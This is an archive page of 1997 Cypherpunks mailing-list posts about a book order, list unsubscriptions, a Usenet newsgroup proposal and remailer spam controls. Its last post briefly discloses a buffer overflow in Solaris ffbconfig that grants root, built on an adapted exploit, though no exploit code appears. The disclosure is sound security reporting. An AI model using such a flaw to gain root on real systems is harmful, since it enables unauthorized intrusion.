Codebreakers delivered OK
by Peter M Allan 17 Dec '03

17 Dec '03

Gary, Thanks for the book, which arrived safely (last week, when I was on leave and tiling my bathroom). Cypherpunks, In mid-December I asked on this list whether people would recommend buying books from Gary Rasmussen. Message-Id: <9612131954.AA28856(a)clare.risley.aeat.co.uk> Subject: Would you send money to Gary Rasmussen ? I got several replies for, and none against. Thanks to those who replied. I am now pleased to add my data point. He has sent my copy of Kahn's Codebreakers. The delay from mid-December was almost entirely caused by banking issues. Money transfers are not as fast or cheap as I think they should be in 1997. Gary tells me he may in future get equipped to take credit cards. His catalogue contains stuff sure to interest anybody with plenty of time. Here is his comment: > NOTE: An additional benefit of ACA membership is eligibility for discounts > on a selection of new (unused) books on the history and practice of > traditional ciphers, codes, and signals intelligence from Classical Crypto > Books. For a free catalog, send email to RagyR(a)aol.com. -- Peter Allan peter.allan(a)aeat.co.uk

I don't want to make any suggestions about having a clue or whatever, but just in case you didn't know, John, I'm not censoring anything, nor is cuckoo, nor is Dr. Vulis, nor are 1300-plus other subscribers to this list. It is all being done by a central "authority". Now you can't figure out who's on what side? Or you just can't decide who to line up with? In case you hadn't noticed, the censorship has been admitted a failure, although the denial from the central "authority" is so thick that some folks on the list will be hoping for Santa to come save them for some time to come.

this has gone on long enough
by Sean Roach 17 Dec '03

17 Dec '03

As of sometime in the last 96 hours I have been forcefully unsubscribed from this list. This action was not of my free will and not one that I think was perpretrated by those in charge of the list. (I got a response from majordomo concerning who was on and my name wasn't) As I have heard from, and replied to some, others who were forcefully subscribed to cypherpunks, I can only assume that this is part of the same campaign. Please send me any copies of majordomo activity involving my address that was sent in the last 96 hours so that I can determine the culprit myself. I had no intention of removing myself from the list and intend to maintain a member, at least until a superior system with sufficient load is developed. As I just now resubscribed to the list (unedited, although I know that the moderation experiment has ended), I may not see any immediate replies, so please cc me. As to my check with majordomo, I was not checking to see if I had been unsubscribed, but to see if the unedited list still existed. since I stopped receiving mail shortly after, I assumed, falsely, that the unedited list subscribers had been merely dropped.

I had discounted this as a reason as I normally get some warning from the VAX before something like this would be a threat. (My mail won't compress and I have to go in and do it manually.) I had assumed that since I had no trouble with compression that that wasn't the answer. I apologise for jumping to conclusions and I hope that I can check my mail more often. (Only a real hassle during weekends when I am called home from school.) Thanks again for the reassurance. BTW, now that the moderation experiment is over, how do you intend to integrate the lists? Are you going to combine them? Are you going to run them through a filter to eliminate duplications? Are you going to give any warning before the unedited list is eliminated? (no longer needed, since the main list is now a duplicate.) Thanks again, I am naturally suspicious. That's "one" of the reasons that I subscribed to this list to begin with.

Proposal: alt.cypherpunks (unmoderated)
by gbroiles＠netbox.com 17 Dec '03

17 Dec '03

[This is a courtesy copy of an article posted to Usenet via Deja News] Some people, including myself, believe that the Cypherpunks mailing list (cypherpunks(a)toad.com) running since sometime in 1992, has outgrown the mailing list format and should move to Usenet. The advantages once gained by running as a mailing list (faster propagation, more personal/intimate atmosphere, freedom from Usenet-style flames & spams) are no longer present. Questions about the appropriateness of moderation, moderator liability for various "bad" kinds of messages, and the potential for content control where there is a single point for distribution have become very prominent concerns among list members. It's time to move to Usenet. Hence, this prelude to a newgroup. Two cypherpunk-related newsgroups now exist; mail.cypherpunks and jyu.ohjelmointi.cypherpunks. mail.cypherpunks is unsatisfactory to become a destination for Usenet-originated cypherpunk traffic because its name implies that it's a gateway from a mailing list. This is presently true, but this proposal is intended to create a newsgroup which supplements or replaces the current mailing list. I've got no clue where "jyu.ohjelmointi.cypherpunks" originates, who's in charge of it, or what "jyu.ohjelmointi" is or stands for. Judging from the limited selection of messages which seem to reach DejaNews and AltaVista from it, it suffers from relatively poor propagation. The cypherpunks mailing list currently has approximately 1300 subscribers, sees traffic between 30 and 70 messages per day (est.), and on its better days discusses technological defenses for privacy in an information age. Popular topics include encryption, legal issues around encryption and export control, and the relationship between technology and social control.

Re: lead remailer is shut down

Most remailers have some basic spam safeguards, typically how many messages per day or per session or whatever. They also implement blocking on specific source or destinations, which makes it easier to stop known spam sources and reduce hassle for people who don't want to be spammed. Limited number of posts per source or per destination are less useful, since people use chained remailers - most messages will have a remailer as either the source, destination, or both, so it's fairly common to have lots of messages from one source. Mass crossposts aren't all that bad; if you're running a decent newsreader you'll only see that kind of spam once. The bad ones are multiple identical or nearly-identical messages posted to one or a few newsgroups each, which are harder to detect and much more annoying to the reader. On the other hand, NoCeMs can catch them, if anybody's sending and using them. I don't know how many people have the capability to block on Subject: or message content; I remember getting bouncemails for things that had variants on M AK E M O N E Y F A S T in them, so there are or were other remailers that block those. It's hard to find a good definition of spam, and hard to implement it without keeping lots of extra records you'd probably rather not keep, and spammers who are willing to do work can find out your limits, especially if they're in a policy document somewhere, and evade them, sending as much through each remailer as fits under the radar. Fortunately, most spammers don't bother. Back when I was running a remailer, it was a modified Ghio2 version; I'd fixed some bugs in it, and took the spam detector behavior from highly rude (shutting itself down quietly) to mildly rude (shutting itself down noisily); the basic model was to stop entirely under big spam attacks and let a human fix it up, rather than trying to resolve them subtlely, which is more appropriate for small spamming. The advantage of this approach is that you don't have mysterious message losses; it's all or nothing. (Well, you still get some mysterious losses, but mostly from bugs or interactions with other types of remailers.) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies.

Security hole in Sloaris 2.X ffbconfig + exploit
by Cristian SCHIPOR 17 Dec '03

Mon Feb 10 15:58 EET 1997 Romania "Buffer Overflow" rules. I have found a buffer overflow hole in ffbconfig (Solaris2.X). That allow you to gain root access on your machine. I used an exploit written by Jeremy Elson for gethostbyname() buffer overflow hole (I modified some values to make this work). I dont now yet what in ffbconfig is wrong but Im still diging.
